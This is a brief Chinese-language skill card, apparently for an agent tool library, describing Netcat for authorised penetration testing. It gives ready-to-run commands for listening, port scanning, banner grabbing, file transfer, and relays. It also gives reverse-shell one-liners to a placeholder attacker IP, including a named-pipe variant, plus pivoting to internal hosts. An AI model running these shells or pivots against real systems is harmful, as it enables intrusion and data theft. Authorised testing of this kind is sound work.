Netcat(nc)是网络读写工具,本技能聚焦授权攻防安全用途,强调仅在获得书面许可的渗透测试环境中使用。
用途:验证连通性与端口开放,抓取服务横幅,做快速端口扫描,建立反向或绑定 shell,传输文件,构建中继与跳板连接。
主要能力与示例命令(保持原样):监听 nc -lvnp 4444;连接 nc <target-ip> <port>;横幅抓取 echo "" | nc <target-ip> 80;端口扫描 nc -zv <target-ip> 1-1000;反向 shell nc <attacker-ip> 4444 -e /bin/bash,无 -e 时用命名管道 rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc <attacker-ip> 4444 > /tmp/f;文件传输 nc -lvnp 5555 > received_file.txt 与 nc <receiver-ip> 5555 < file_to_send.txt;加密传输用 ncat --ssl;中继 mkfifo backpipe; nc -lvnp 8080 0<backpipe | nc <internal-target-ip> 80 1>backpipe。
适用场景:授权渗透测试中的连通性检查、服务枚举、漏洞验证、跳板与数据外传演练。
限制:扫描速度与隐蔽性不如专用工具,无服务版本识别;反向 shell 依赖 -e 支持,默认常被防火墙、IDS/IPS、DLP 与 EDR 检测拦截;需清理 shell、监听与后门并记录审计信息。未提供的收费、平台或版本信息暂未提供。